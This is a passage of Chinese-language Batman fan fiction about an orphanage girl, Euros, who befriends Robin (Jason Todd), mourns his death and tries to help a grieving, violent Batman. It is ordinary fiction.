安德莉亚院长早餐时显得异常疲惫但眼神明亮:"他来了,"她小声对欧洛斯说,"我听到屋顶有声音,但等我出去时,只发现了这个。"
她在桌下展示了一张小卡片,上面用黑色墨水画着一个蝙蝠标志,背面写着"调查中"。
接下来的几天,哥谭的新闻头条都被范斯家的案件占据。警方迫于压力重新调查,最终在阳台栏杆上发现了人为破坏的痕迹,而范斯先生的财务记录也显示他在收养杰克前曾收到过一笔来历不明的巨款。
杰克并非意外坠亡,而是一场精心策划的谋杀。
福利院的孩子们为杰克举行了一场小小的悼念仪式。欧洛斯将杰克留给她的画折成一只纸蝙蝠,放在院子的老橡树下,那是杰克最喜欢的地方。
一周后的深夜,欧洛斯再次失眠。她悄悄溜到阳台上,望着哥谭的夜空。今晚没有蝙蝠信号,但她总觉得空气中有什么不同。
"你也睡不着吗?"
一个陌生的声音从头顶传来,欧洛斯差点惊叫出声。她抬头看去,只见一个穿着红绿制服的少年倒挂在福利院的屋檐上,多米诺面具下的眼睛带着一丝笑意。
"罗宾?"欧洛斯压低声音,心跳如鼓。
"Bingo。"少年轻盈地翻身落下,像猫一样无声地站在她身边,"抱歉吓到你了。我只是来确认一些事情。"
欧洛斯攥紧了手中的素描本:"关于杰克?"
罗宾点点头,目光扫过她怀里的本子:"安德莉亚院长的信里提到了一些疑点,B...蝙蝠侠让我来调查清楚。"他停顿了一下,"听说杰克生前很喜欢画画,尤其是蝙蝠侠?"
欧洛斯犹豫片刻,还是翻开了素描本,展示给罗宾看:"他画的很简单,但很有力量。这些是我根据他的描述画的。"
罗宾接过本子,快速翻动。他的目光在某一页突然停住,那是欧洛斯画的蝙蝠侠站在韦恩大厦顶端的背影,披风在风中猎猎作响。
"你画得很像,"罗宾轻声说,语气微妙,"就像亲眼见过一样。"
欧洛斯的心跳漏了一拍:"只是...想象。"
罗宾合上本子还给她,突然问道:"你相信杰克是被谋杀的吗?"
"我知道他是。"欧洛斯的声音很轻,但很坚定,"杰克从不会靠近阳台边缘,除非有人逼他。"
罗宾沉默了一会儿,突然从腰带里掏出一枚小小的金属蝙蝠镖,递给她:"如果你想起什么重要的事,或者遇到危险,用这个划破窗户玻璃。频率特殊,我们
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会收到信号。"
欧洛斯接过蝙蝠镖,指尖微微发颤:"为什么给我这个?"
"因为杰克信任你,"罗宾微微一笑,"而蝙蝠侠信任我的判断。"
他后退一步,准备离开,却又停下脚步:"对了,你叫什么名字?"
"欧洛斯。"
"欧洛斯,"罗宾念了一遍,像是要记住这个名字,"下次见。"
话音未落,他已翻身跃上屋顶,消失在夜色中。
接下来的日子里,欧洛斯的生活似乎恢复了平静,但她的素描本里多了一个新角色,罗宾。她画他在屋檐间飞跃,在月光下微笑,甚至和蝙蝠侠并肩而立。
而每当夜晚降临,她总会不自觉地望向窗外,期待着那个红绿身影再次出现。
直到某个雨夜,罗宾真的回来了。
他递给了欧洛斯一块巧克力,反复只是夜巡中途小歇一般坐在阳台边随意的和欧洛斯聊天。
"最近过得怎么样?"罗宾笑了笑,"这个巧克力味道不错,所以带给你尝尝。"
欧洛斯看着他逞强的样子,突然笑了:"你知道吗?你不太会演戏。"
"啊?有这么明显吗?"
"超级……所以为什么不开心?"
罗宾忍不住大笑,但很快又停下。
雨声渐大,敲打着窗户。两人沉默了一会儿,罗宾突然开口:"如果我说…我和B…蝙蝠侠吵架了,你会不会觉得我……。"
罗宾停了下来,但欧洛斯明白他的意思。“为什么不能是他太过分了?”
罗宾忍不住转头看向欧洛斯认真的眼睛。
"你为什么这么喜欢画蝙蝠侠?"
欧洛斯的手指微微一顿:"因为他...守护着哥谭。包括我们这样的人。"
罗宾哈哈大笑起来,他赞赏的目光投向欧洛斯:"蝙蝠侠是最棒的!"
这一晚的闲聊就像梦一样,欧洛斯有时会想,现在她和罗宾算不算是朋友呢?
其实只要知道蝙蝠侠的身份,那罗宾是谁真的很好猜。
欧洛斯看着窗外发呆,她记得那个男孩叫杰森,比她大一岁…
罗宾离开后的几天,欧洛斯一直想着他说的那些话。杰克案件的幕后黑手是一个专门利用收养儿童进行保险诈骗的犯罪团伙,范斯先生只是其中一环。蝙蝠侠已经捣毁了他们的据点,所有涉案人员都被绳之以法。
“杰克可以安息了。”罗宾临走前这样对她说。
欧洛斯将蝙蝠镖和书签、项链放在了一起,每晚入睡前都会确认它还在那里。她画了更多蝙蝠侠和罗宾的画,有时是战斗的英姿,有时只是安静地站在滴水兽上俯瞰哥谭。
那是一个暴雨倾盆的夜晚。
欧洛斯坐在阳台上,听着雨声发呆。哥谭的雨总是带着一种压抑的气息,仿佛整座城市都在哭泣。她裹着单薄的外套,望着远处模糊的灯光,思绪飘远。
突然……
一声震耳欲聋的爆炸撕裂了夜空。
15. 第 15 章
欧洛斯猛地站起身,循声望去。几个街区外,一栋建筑的楼顶火光冲天,浓烟滚滚。紧接着,一个黑影从爆炸的烟雾中坠落,像一只折翼的蝙蝠,直直地砸向地面。
她的心脏几乎停跳。
蝙蝠侠!
欧洛斯没有犹豫。她抓起雨衣,从消防梯迅速爬下,冲进雨幕中。雨水拍打在脸上,冰冷刺骨,但她顾不上这些。她必须赶到他身边。
蝙蝠侠摔在一条阴暗的小巷里,周围堆满了垃圾箱和废弃家具。欧洛斯跌跌撞撞地跑过去,雨水模糊了她的视线,但她还是看清了他的状况,他的披风被烧焦了一角,面具下的嘴角渗出血丝,整个人一动不动。
“蝙蝠侠……?”她颤抖着伸手,轻轻碰了碰他的肩膀。
没有反应。
远处传来杂乱的脚步声和喊叫声。
“他掉在这附近了!”
“找到他!老板说了,活要见人,死要见尸!”
欧洛斯的血液瞬间冻结。敌人正在靠近。
她咬紧牙关,用尽全力拽住蝙蝠侠的披风,一点一点地把他往垃圾箱后面拖。他的身体沉重得像一块石头,但她不敢停下。雨水混合着泥泞,让地面湿滑不堪,她的手臂和膝盖被磨得生疼,但她只是死死地咬着嘴唇,不让自己发出一点声音。
终于,她把他藏进了一堆废弃木板和防水布搭成的临时掩体下。她迅速抓起几个破旧的纸箱和垃圾袋,胡乱地盖在两人身上,然后屏住呼吸,蜷缩在蝙蝠侠身旁。
脚步声越来越近。
“妈的,跑哪儿去了?!”
“他伤得那么重,不可能走远!”
一只手电筒的光束扫过垃圾堆,欧洛斯的心跳几乎要冲破胸膛。她紧紧闭上眼睛,手指无意识地攥住了蝙蝠侠的披风。
别过来……别过来……
“啧,这鬼天气!”其中一人咒骂着,“去那边看看!”
脚步声渐渐远去,但欧洛斯仍然不敢动。直到周围彻底安静下来,只剩下雨声,她才小心翼翼地探出头,确认敌人已经离开。
她颤抖着掀开防水布,看向蝙蝠侠。他的呼吸微弱但平稳,似乎只是昏迷。她轻轻擦去他脸上的雨水,突然注意到他的腰间有一个小小的通讯器,正闪烁着微弱的红光。
欧洛斯犹豫了一下,按下了通讯键。
“B?B!你在哪儿?!”罗宾焦急的声音从里面传出。
“罗宾……”欧洛斯小声说道,“他受伤了,在一条小巷里……我不知道具体位置,但离福利院不远……”
“欧洛斯?!”罗宾的声音充满震惊,“你和他在一起?别动,我马上到!”
通讯切断,欧洛斯松了一口气。她脱下自己的雨衣,盖在蝙蝠侠身上,尽管它早已湿透。
“你会没事的……”她轻声说,更像是在安慰自己。
不到十分钟,罗宾的身影出现在巷口。他浑身湿透,面具下的眼睛写满焦急。
“欧洛斯!”他冲过来,跪在蝙蝠侠身边,迅速检查他的伤势,“他中了恐惧毒气的改良版,还有轻微脑震荡……该死!”
“他会没事的,对吧?”欧洛斯的声音有些发抖。
罗宾抬头看了她一眼,眼神柔和了一些:“嗯,他会没事的。多亏了你。”
远处传来引擎的轰鸣声,一辆黑色的蝙蝠车悄无声息地滑入巷口。
“我得带他回去了。”罗宾低声说,扶起蝙蝠侠,“你……快回福利院,别让人发现你出来过。”
欧洛斯点点头,但她的目光一直停留在蝙蝠侠身上。他的面具在挣扎中微微歪斜,露出了一小部分下巴和嘴唇。
那是她每天在镜子里都能看到的轮廓。
但她什么也没说。
罗宾将蝙蝠侠扶进车里,回头看了她一眼:“谢谢你,欧洛斯。”
“不用谢……”她轻声回答。
蝙蝠车无声地驶离,消失在雨夜中。欧洛斯站在原地,雨水顺着她的发梢滴落。
她知道,今晚的事情会成为她心底的又一个秘密。
就像她从未期待过相认一样。
她转身,独自走回福利院。
哥谭的雨,依然在下。
杰克的事情过去几天后,福利院渐渐恢复了平静。
清晨的阳光透过窗户洒进来,欧洛斯被一阵窸窸窣窣的声音吵醒。她迷迷糊糊地睁开眼,发现以利亚正踮着脚尖,试图从她的床头柜上偷走一块巧克力。
“以利亚。”欧洛斯幽幽地开口。
“哇啊!”以利亚吓得差点跳起来,巧克力“啪嗒”掉在地上。他挠了挠乱糟糟的头发,干笑两声:“那个……我是来叫你起床的!安德莉亚院长说今天早餐有蓝莓松饼!”
欧洛斯眯起眼睛:“所以你准备用偷我的巧克力来叫我起床?”
“这叫战略性唤醒服务!”以利亚理直气壮,“而且,我这是帮你检查巧克力有没有过期!”
欧洛斯忍不住笑了,捡起巧克力掰成两半,递给他一块:“下次直接问我要。”
以利亚眼睛一亮,接过巧克力塞进嘴里,含糊不清地说:“你果然是我最好的线人!”
早餐时,玛茜正用叉子戳着松饼,一脸严肃地研究着什么。
“玛茜,你的松饼和你有仇吗?”欧洛斯在她旁边坐下。
玛茜抬起头,压低声音:“我在研究松饼的构造。”
“啊?”
“你看……”她神秘兮兮地用叉子划开松饼,“松饼的外层酥脆,里面松软,就像哥谭的白天和黑夜!白天看起来一切正常,晚上就……”
“晚上就有疯子戴着稻草头套到处放毒气?”以利亚插嘴,嘴里塞满食物。
“以利亚!”玛茜瞪他,“我在说正经的!”
欧洛斯忍不住笑出声:“玛茜,你以后可以当个哲学家,或者……松饼侦探?”
玛茜撇撇嘴,但还是被逗笑了。
下午的自由活动时间,欧洛斯坐在画室里,专注地完成一幅新的素描:罗宾和蝙蝠侠并肩站在哥谭的屋顶上,夜风扬起他们的披风。
“哇!这画得也太帅了吧!”以利亚不知什么时候凑了过来,眼睛发亮,“蝙蝠侠的披风简直像真的一样!”
玛茜也凑过来看:“欧洛斯,你画得越来越好了。”
欧洛斯轻轻摸了摸画纸:“我想把它送给罗宾。”
“罗宾?!”以利亚激动得差点跳起来,“你要见到罗宾了?什么时候?能不能帮我要个签名?或者…或者问问蝙蝠侠还收不收罗宾?我觉得我可以当个‘话痨罗宾’!”
玛茜翻了个白眼:“你当罗宾?蝙蝠侠第一天就会把你扔进哥谭湾。”
以利亚不服气:“嘿!我超有潜力的好吗!我收集了所有蝙蝠侠的新闻剪报,我甚至知道他的披风是什么材质的!”
“是什么材质?”欧洛斯好奇地问。
“呃……”以利亚卡壳了,“……高科技材质?”
玛茜和欧洛斯同时笑出声。
几天后的夜晚,罗宾果然又出现在了欧洛斯的阳台上。
“任务完成。”他轻巧地翻进来,脸上带着得意的笑容,“稻草人进阿卡
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姆了,那个诈骗团伙也被一锅端了。”
欧洛斯松了口气:“太好了。”
罗宾歪头看她:“你不问我细节?”
欧洛斯摇摇头:“我相信你们已经做得很好了。”
罗宾愣了一下,随即笑了:“你真是……不太一样。”
欧洛斯从抽屉里拿出那幅画,递给他:“送给你的。”
罗宾接过画,眼睛微微睁大。画中的他和蝙蝠侠站在一起,背后是哥谭的夜空,远处还能看到模糊的蝙蝠信号灯。
“这……”他的声音罕见地有些迟疑,“画得真好。”
“希望你喜欢。”欧洛斯微笑。
罗宾小心地把画收好,突然从腰带里掏出一枚小小的蝙蝠徽章:“这个给你。”
欧洛斯接过徽章,疑惑地看着他。
“不是求救用的。”罗宾解释道,“只是……一个小礼物。”
欧洛斯握紧徽章,心里暖暖的。
罗宾站起身,准备离开,却又回头看了她一眼:“下次见,欧洛斯。”
“下次见,罗宾。”
福利院的夜晚再次安静下来。欧洛斯躺在床上,手里握着那枚小小的蝙蝠徽章,嘴角带着淡淡的笑意。
她知道,哥谭的黑暗永远不会消失,但至少…
在这个小小的福利院里,有温暖的松饼早餐,有玛茜的“松饼哲学”,有以利亚的“罗宾梦想”,还有……偶尔出现在阳台上的红绿身影。
那天夜里,欧洛斯做了一个梦。
她梦见自己站在一片从未见过的花园里。阳光温柔地洒在盛开的玫瑰上,空气中弥漫着淡淡的香气。远处,一个穿着白色长裙的女人背对着她,红色的长发在微风中轻轻飘动。
欧洛斯的心脏猛地收紧。
“妈妈……?”她轻声唤道,声音颤抖。
女人转过身,露出一张温柔的笑脸。
伊芙微笑着,牵起她的手,她带着欧洛斯穿过花园,来到一棵古老的橡树下。树下站着一个高大的男人,背对着她们,黑色西装笔挺,肩膀宽阔。
欧洛斯的呼吸停滞了一瞬。
男人转过身,布鲁斯韦恩。
他的眼神不再像报纸上那样玩世不恭,而是带着一种深沉的温柔。他看着欧洛斯,嘴角微微扬起。
欧洛斯站在原地,不知道该说什么。她想问他知不知道她是他的女儿,想问他还记不记得母亲,想问……太多太多。
梦境中的风忽然变得温暖,阳光更加明亮。欧洛斯感到一种从未有过的安心,仿佛所有的孤独和疑问都在这一刻被抚平。
她闭上眼睛,任由这份温暖包围自己。
“欧洛斯!起床啦!”
玛茜的声音将她从梦中拉回现实。欧洛斯睁开眼,发现自己还躺在福利院的小床上,枕边放着那枚蝙蝠徽章。
窗外的阳光照进来,和梦里一样温暖。
“你怎么在笑?”玛茜歪着头看她,“做美梦了?”
欧洛斯摸了摸自己的嘴角,这才发现自己在微笑。
“嗯。”她轻声回答,“一个很好的梦。”
玛茜眨了眨眼,突然神秘兮兮地凑过来:“该不会是梦到罗宾了吧?”
欧洛斯脸一热,抓起枕头轻轻砸她:“胡说什么呢!”
玛茜大笑着躲开,以利亚在门口探头:“早餐有巧克力华夫饼!再不来就被抢光了!”
欧洛斯跳下床,跟着朋友们跑向餐厅。梦中的画面还在她脑海中萦绕,母亲温柔的笑脸,布鲁斯宽厚的手掌。
她知道那只是个梦。
16. 第 16 章
哥谭的雨总下得毫无道理。
它不像大都会的暴雨那样歇斯底里,也不像中心城的细雨那般温柔缱绻。它只是沉默地、固执地落着,像是某种无法愈合的伤口,缓慢地渗出血丝,浸透整座城市。
欧洛斯站在废弃教堂的钟楼上,指尖抵着冰冷的石栏。远处,黑压压的人群聚集在墓园里,像一群被雨水打湿的乌鸦。他们围绕着那座无名的墓碑,低声交谈,摇头叹息,仿佛真的在乎那个被埋葬的少年。
可他们不知道他是罗宾。
他们更不知道,他曾是她的朋友。
(三天前,福利院的阳台)
辣热狗的油脂渗进包装纸,在杰森托德的手上留下橙红色的痕迹。他翻上阳台的动作依旧带着罗宾式的轻盈,尽管制服换成了连帽衫和牛仔裤,但那股混着青紫淤伤和火药味的少年气息丝毫未减。
“尝尝,东区新开的摊子。”他把热狗塞进欧洛斯手里,咧嘴一笑,嘴角还沾着一点辣椒酱,“比老蝙蝠订的那些健康有机垃圾强多了。”
欧洛斯接过,咬了一口。热辣的味道在舌尖炸开,她忍不住咳嗽起来。杰森大笑,拍着她的后背,力道大得让她差点呛出眼泪。
“你该多出来走走,”他靠在生锈的栏杆上,望着远处哥谭铅灰色的天际线,“虽然夜晚的哥谭像个泥潭,但白天的还不错,你可以去热闹的地方看看,整天呆在一个地方会变成另一个老蝙蝠的…一脸苦大仇深,连笑都不会。”
欧洛斯没告诉他,她见过布鲁斯韦恩真正的笑容。不是慈善晚宴上那种完美的、公关式的微笑。而是很多年前,在他第一次见到布鲁斯时,在那辆轿车旁,看着那个红色卫衣男孩时,嘴角微微扬起的样子。
“下次带你去吃更好的。”杰森跳上栏杆,夜风掀起他的衣角,“等我从埃塞俄比亚回来。”
她点了点头,看着他消失在夜色里,像一只振翅飞走的知更鸟。
(现在,墓园)
雨水顺着欧洛斯的发梢滴落,浸湿了衣领。她不敢靠得太近,只能站在远处,看着布鲁斯韦恩挺直的背影。
他站在那里,像一座被雨水冲刷的墓碑。
阿尔弗雷德站在他身侧,手中的黑伞微微倾斜,仿佛想要替主人挡住些什么,可哥谭的雨无孔不入,它渗透西装、侵蚀皮肤,最终钻进骨髓。
欧洛斯知道,布鲁斯此刻的灵魂正被撕成两半,一半冷静、克制,接受着陌生人的哀悼;另一半愤怒、痛苦,在无人处攥紧拳头,指甲深深陷进掌心。
而她,既不能以女儿的身份走上前,也不能以朋友的身份为杰森献上一束花。
她只能站在这里,成为雨中的一道影子。
(回忆:杰森和欧洛斯的最后一次对话)
“你知道为什么蝙蝠侠需要罗宾吗?”某天夜里,杰森坐在福利院的屋顶上,突然问道。
欧洛斯摇头。
“因为他太容易迷失。”杰森晃了晃腿,靴子蹭掉一块松动的瓦片,“黑暗会吞噬他,仇恨会腐蚀他……所以他需要有人提醒他,这世界上还有光。”
“那你呢?”欧洛斯问,“谁提醒你?”
杰森愣了一下,随后笑着揉了揉她的头发:“虽然很不想承认,但蝙蝠侠会一直看着我,哈,不用担心我,罗宾和蝙蝠侠是永远的搭档。”
可现在,光熄灭了。
(葬礼之后)
人群渐渐散去,只剩下布鲁斯和阿尔弗雷德。老管家低声说了什么,布鲁斯摇头,于是阿尔弗雷德叹息着离开,留下他独自站在墓前。
欧洛斯看见他的肩膀微微颤抖。
她下意识向前迈了一步,又硬生生停住。
她不能过去。
她不属于那里。
不属于韦恩庄园,不属于蝙蝠家族,甚至不属于杰森·托德短暂而炽热的人生。
她只是一个旁观者,一个幽灵。
(夜晚,福利院的窗台)
欧洛斯蜷缩在毛毯里,听着雨水敲打玻璃的声音。
口袋里,那颗太妃糖已经融化,黏糊糊地粘在包装纸上。
窗外,哥谭的夜色依旧深沉,蝙蝠灯依旧亮起。
今晚,蝙蝠侠依旧会出现。
今晚,哥谭的雨不会停。
福利院的图书室弥漫着旧纸张和木质书架的气味,窗外的雨依旧下着,敲打着玻璃,像某种不安的叩门声。
欧洛斯蜷缩在角落的扶手椅里,膝盖上摊开着一本《远大前程》,但她的目光却停留在窗外灰蒙蒙的天际线上。以利亚坐在她对面的地毯上,正翻着一本《哥谭市犯罪年鉴》,玛茜则趴在桌边,用彩色铅笔在素描本上涂涂画画。
“你们听说了吗?”以利亚突然开口,手指敲了敲书页上的一张模糊的蝙蝠侠照片,“最近蝙蝠侠很不对劲。”
欧洛斯的指尖微微收紧,书页边缘被她捏出一道细小的褶皱。
玛茜头也不抬:“他又不是第一次不对劲。”
“这次不一样。”以利亚压低声音,像是怕被走廊上的护工听见,“黑面具的人昨晚被送进医院三个,其中一个现在还躺在ICU。听说蝙蝠侠打断了他七根肋骨,还差点把他从四楼扔下去。”
以利亚的语气突然低沉下来“罗宾也好久没出现了。”
欧洛斯的心脏猛地收缩了一下。
杰森的声音在她脑海里回响:“因为他太容易迷失。”
“也许那些混蛋罪有应得。”玛茜耸耸肩,用红色铅笔狠狠涂黑了一页纸。
“问题不在这里。”以利亚合上书,“蝙蝠侠从来不会这样。他克制,精准,像台机器。可现在……”他摇摇头,“他简直像个复仇的恶鬼。”
欧洛斯的喉咙发紧。
她知道为什么。
她知道布鲁斯韦恩失去了什么,也知道蝙蝠侠正在失去什么。
可她甚至不能告诉以利亚和玛茜,她认识那个被埋葬的少年,更不能告诉他们,她比任何人都清楚蝙蝠侠此刻的痛苦。
哥谭的夜晚比往常更加阴冷。
欧洛斯站在福利院后门锈迹斑斑的铁栅栏旁,手指紧紧攥着栏杆。远处,警笛声和爆炸的闷响隐约传来,像某种不详的预兆。她知道蝙蝠侠今晚会出现在钻石区,以利亚从□□混混那里偷听来的消息,说黑面具要在那里进行一笔大交易。
而她必须去。
杰森的声音在她脑海中回响:"他需要有人提醒他。"
安德莉亚院长的办公室灯还亮着。欧洛斯贴着墙根,像一只猫般轻巧地避开巡逻的护工。她熟悉福利院的每一个监控死角,每一处松动的地板,这是杰森教她的,在他们无数次夜游之后。
后门的锁生了锈,但欧洛斯知道用铅笔芯捅进锁眼的哪个角度能让它乖乖听话。三秒钟后,她滑入哥谭潮湿的夜色中。
冷风夹着细雨扑面而来。欧洛斯裹紧单薄的外套,朝着钻石区的方向跑去。
(钻石区,废弃仓库)
爆炸的余震让地面微微颤抖。欧洛斯躲在集装箱后
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,看着蝙蝠侠像一道黑色闪电般冲进人群。
他今晚确实不一样。
没有战术,没有克制,只有纯粹的、暴烈的愤怒。一个持枪的混混被他抡起砸向墙壁,骨骼断裂的声音清晰可闻。黑面具的手下像保龄球瓶一样四散飞开,而蝙蝠侠,那个曾经精准如外科手术般的黑暗骑士,此刻更像一头失控的野兽。
"住手!"
欧洛斯不知道自己是怎么喊出声的。她的声音在枪声和打斗声中显得如此微弱,但蝙蝠侠的动作还是顿了一下。
他转过头,白色护目镜在黑暗中泛着冰冷的光。
"你不该在这里。"他的声音比哥谭的雨还要冷。
"你会杀了他们。"欧洛斯向前一步,雨水顺着她的脸颊滑落。
蝙蝠侠掐着一个混混的脖子将他提起:"这是他们罪有应得。"
"罗宾不会希望你变成这样。"她颤抖着说。
蝙蝠侠的手猛地收紧,混混的脸色开始发紫:"你不了解他。"
"我了解!"欧洛斯的声音突然拔高,"他告诉我蝙蝠侠需要罗宾,因为黑暗会吞噬你!他说…"
一阵剧痛从后脑勺传来。欧洛斯眼前一黑,最后的意识里,她看到蝙蝠侠扔下那个混混,朝她冲来。
消毒水的气味。
欧洛斯睁开眼,看到安德莉亚院长担忧的脸。
"谢天谢地,"院长温暖的手抚过她的额头,"蝙蝠侠把你送回来时,你浑身湿透还发着高烧。"
欧洛斯猛地坐起,随即因为眩晕又倒回枕头上:"他...说了什么?"
"他说你在钻石区迷路了,"安德莉亚叹了口气,"亲爱的,你知道晚上溜出去有多危险吗?尤其是现在..."她的声音低下去,"尤其是现在哥谭这么乱的时候。"
欧洛斯盯着天花板。蝙蝠侠不仅拒绝了她,还把她像个迷路的孩子一样送了回来。他甚至没有揭穿她真正的意图,给了她一个体面的借口。
这比直接斥责更让她难受。
以利亚和玛茜围在她身边。
"你疯了吗?"以利亚压低声音,"一个人跑去钻石区?"
玛茜递给她一杯热可可:"至少你见到了蝙蝠侠。"
欧洛斯捧着杯子,热度透过陶瓷传到掌心。她想起昨晚蝙蝠侠,想起他提起杰森名字时声音里细微的颤抖。
"他看起来怎么样?"玛茜好奇地问。
欧洛斯望着窗外又开始飘落的雨:"像一座快要崩塌的山。"
(夜晚,阳台)
福利院边侧的阳台是她和罗宾的秘密基地,睡不着时,她总会来这里,而罗宾总会在夜巡的间隙中来找她聊两句。
而这几个月的夜晚,这里只有欧洛斯一个人。她望着远处哥谭的灯火。蝙蝠灯依然亮起,仿佛什么都没变,可欧洛斯和哥谭的一些人知道……蝙蝠侠不一样了
她从口袋里掏出一只皱巴巴的纸飞机,这是她昨晚在被击昏前匆忙折好的,上面写着杰森最后对她说的话。
欧洛斯举起纸飞机,犹豫了一下,最终没有把它扔出去。
有些话,蝙蝠侠现在还不愿意听。
有些伤痛,不是一句劝告就能抚平。
然而,她却无能为力,只能眼睁睁看着蝙蝠侠深陷于痛楚的漩涡。欧洛斯暗暗思忖:“我必须得想出一个办法来。”
纸飞机在她手中微微颤动,像一只受伤的知更鸟,暂时收起了翅膀。
哥谭的雨,依旧下个不停。
17. 第 17 章
哥谭福利院的晚餐时间总是热闹非凡。二十多个孩子围坐在长桌旁,银质餐具碰撞的声音与欢快的交谈声交织在一起。欧洛斯机械地搅动着碗里的蔬菜汤,目光却不断飘向窗外渐暗的天空。
"欧洛斯?你又在发呆了。"玛茜用胳膊肘轻轻碰了碰她,棕色卷发随着歪头的动作垂到肩膀一侧,"这周第三次了。"
欧洛斯猛地回神,勺子撞在碗边发出清脆的响声。她勉强挤出一个微笑:"抱歉,我只是在想......"她的声音越来越小,视线不自觉地又飘向窗外哥谭市中心的方向。
以利亚从对面探过身子,压低声音:"还是关于蝙蝠侠的事?"以利亚的语言有些低迷,他一直都是罗宾的粉丝,"我查了最近的新闻报道,自从罗宾消失后......"
"以利亚!"玛茜警告地瞪了他一眼,转向欧洛斯时眼神柔和下来,"我们都知道你是蝙蝠侠的超级粉丝,也知道你很担心蝙蝠侠现在的状态,但是……"玛茜递了块面包给欧洛斯,“我们都只是普通人,帮不了那些黑夜里的英雄。”
欧洛斯感到一阵熟悉的刺痛从胸口蔓延开来。她不知道该如何解释,每当夜晚在阳台上看到蝙蝠侠独自在哥谭夜空中穿梭的画面时,那种几乎要将她撕裂的心痛感。
"我只是觉得......"欧洛斯不知道自己该说什么,她的手指无意识地摩挲着空荡荡脖颈,自从在福利院安定下来,她就没带过那枚项链了,"我只是希望他能振作起来。"
晚餐后,三个孩子溜进了福利院的图书室。玛茜熟练地撬开了管理员抽屉的锁,取出了老旧的笔记本电脑。
"听着,我有个计划。"欧洛斯跪坐在地毯上,展开一张皱巴巴的哥谭市地图,上面用红笔标记了几个地点,"根据我的研究,蝙蝠侠最常出现在这些区域。如果我们能……"
"等等,''我们''?"玛茜挑起眉毛,"你不会又想溜出去吧?上次你被蝙蝠侠亲自送回来,安德莉亚院长差点心脏病发作!现在每晚都有两个护工巡逻走廊。"
欧洛斯咬着下唇。
"这次不一样,"欧洛斯急切地说,"我们可以白天去,假装是学校项目调研。只需要在这些地点留下......"她从口袋里掏出一张叠好的纸和一枚小小的蝙蝠徽章,"这些。"
以利亚好奇地打开了纸张,那是一副画,画上黑夜里站在水滴兽上的蝙蝠侠和罗宾。
"哇哦,"以利亚吹了个口哨,"这简直像是......"他突然停住,皱着眉头看向欧洛斯,"你为什么这么在意蝙蝠侠的感受?我是说,超出普通粉丝的那种在意。"
图书室的挂钟滴答作响,欧洛斯感到三个心跳的间隙那么长。“只是觉得,他一直在保护我们,而现在,他需要帮助……”
今日算是哥谭难得的好天气。而欧洛斯她们也准备开始行动了。
"我们只是去留下这些东西,不会惹麻烦的。"欧洛斯将画和临摹下来的徽章小心地塞进背包,手指在那幅蝙蝠侠与罗宾的素描上停留了片刻。她已经很久没见过罗宾了,可她甚至不能去墓园看看他。
三个孩子以"参观哥谭博物馆"为由获得了外出许可。玛茜一路上紧张地东张西望,仿佛随时会有护工从街角跳出来抓他们回去。
"放松点,"以利亚揽着玛茜的肩膀,"我们有三小时自由时间,安德莉亚院长完全相信我们是模范学生。"
欧洛斯领着朋友们穿过哥谭东区,来到第一个标记地点,犯罪巷附近的一座老教堂。她在台阶上放下一张折叠好的画和临摹下来的蝙蝠徽章,用一块小石头压住。
"你觉得他真的会看到这些吗?"玛茜蹲下来,调整纸张的位置让它更显眼些。
欧洛斯望向教堂尖顶,阳光透过彩色玻璃在台阶上投下斑斓的光影。"我不知道,"她轻声说,"但总得有人告诉他,还有人记得罗宾。"
他们接着去了韦恩塔附近的电话亭、哥谭警局后巷,甚至冒险靠近了阿卡姆疯人院外围的围墙。在每个地点,欧洛斯都留下一份小小的"礼物",有时是一张画,有时是一朵从路边摘来的野花,总是伴随着那张相同的蝙蝠徽章临摹图。
"这枚徽章你从哪弄来的?"以利亚好奇地问,看着欧洛斯将最后一张图放在阿卡姆围墙外的排水管上。
欧洛斯有些低迷。"如果我说…"她摸了摸那张临摹图"我和罗宾是朋友,你们信吗?"欧洛斯抬头冲着以利亚和玛茜笑了笑“就像你们一样。”
三天过去了,没有任何迹象表明蝙蝠侠收到了他们的讯息。欧洛斯每晚都会去那个阳台,希望能看到蝙蝠灯亮起,或者一个黑影掠过月光。但哥谭的夜空寂静如常。
周四下午,以利亚冲进公共休息室,脸颊因奔跑而泛红。"你们不会相信的!"他气喘吁吁的说"我的线人来消息了!"
一张模糊的照片:蝙蝠侠站在钟楼顶端,身旁是一个穿着红绿黄三色制服的矫健身影。
以利亚的语气有些复杂,“罗宾才失踪多久啊,蝙蝠侠就找了新罗宾。”
欧洛斯感到世界在瞬间静止。她机械地接过照片。
玛茜探头看了看,“你为什么觉得这是新罗宾?说不定是罗宾被派出去做长期任务,刚回哥谭呢?”
以利亚有些懑懑的挥了挥手,不满到“我可是罗宾的忠实粉丝!这新来的一看就不是。”
欧洛斯手指抚过那张照片。新罗宾看起来比她记忆中更高大,动作间透着一种她所不熟悉的内敛。
"这......这是好事,对吧?"玛茜小心翼翼地说,"意味着蝙蝠侠走出来了。"
欧洛斯强迫自己点头,喉咙却像被什么堵住了。"是啊,太好了。"她的声音轻得几乎听不见。
那天晚上,欧洛斯借口头痛早早回了房间。等宿舍安静下来后,她悄悄来到了福利院的阳台。
夏夜的风带着哥谭特有的潮湿气息拂过她的面颊。远处,韦恩大厦的灯光在夜雾中朦胧闪烁。
"你应该开心的,"她对着夜空低语,仿佛那个披风斗士就站在某处阴影中聆听,"有了新帮手,你不会再那么孤单了。"
一滴温热的水珠滑下面颊,欧洛斯惊讶地抬手触碰。她不知道自己为何流泪,也许是为那个再也回不来的少年。
"我只是希望你知道,"她继续轻声说,声音融入哥谭的夜风中,"无论发生什么,都有人在乎蝙蝠侠,不只是因为他是什么象征,而是
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因为......。"
在福利院屋顶的阴影中,一个高大的黑色身影静静伫立。蝙蝠侠注视着那个独自对夜空倾诉的小女孩,面具下的眉头微微皱起。
他不认识这个孩子,但他知道杰森…前任罗宾交了个福利院的朋友。他本来应该阻止,用夜间身份交朋友可能会使身份暴露,但随着罗宾的长大,他们之前的矛盾也爆发了。罗宾没什么朋友,这个女孩算一个,所以他也默认了这段友谊。
当欧洛斯转身准备下楼时,一阵微风掠过,有什么东西轻轻落在她脚边,一枚崭新的蝙蝠徽章,在月光下闪烁着微光。她环顾四周,屋顶上空无一人。
"谢谢。"她将徽章紧握在手心,不知道这个词是对谁说的。
一周后早餐时,以利亚宣布他收集到了新罗宾的情报。
"据说他继承了''罗宾''的称号,体术没有之前的罗宾厉害,但更灵活!昨晚他们阻止了黑面具的军火交易!"
欧洛斯安静地听着,小口啜饮橙汁。她注意到电视上播放的新闻画面中。
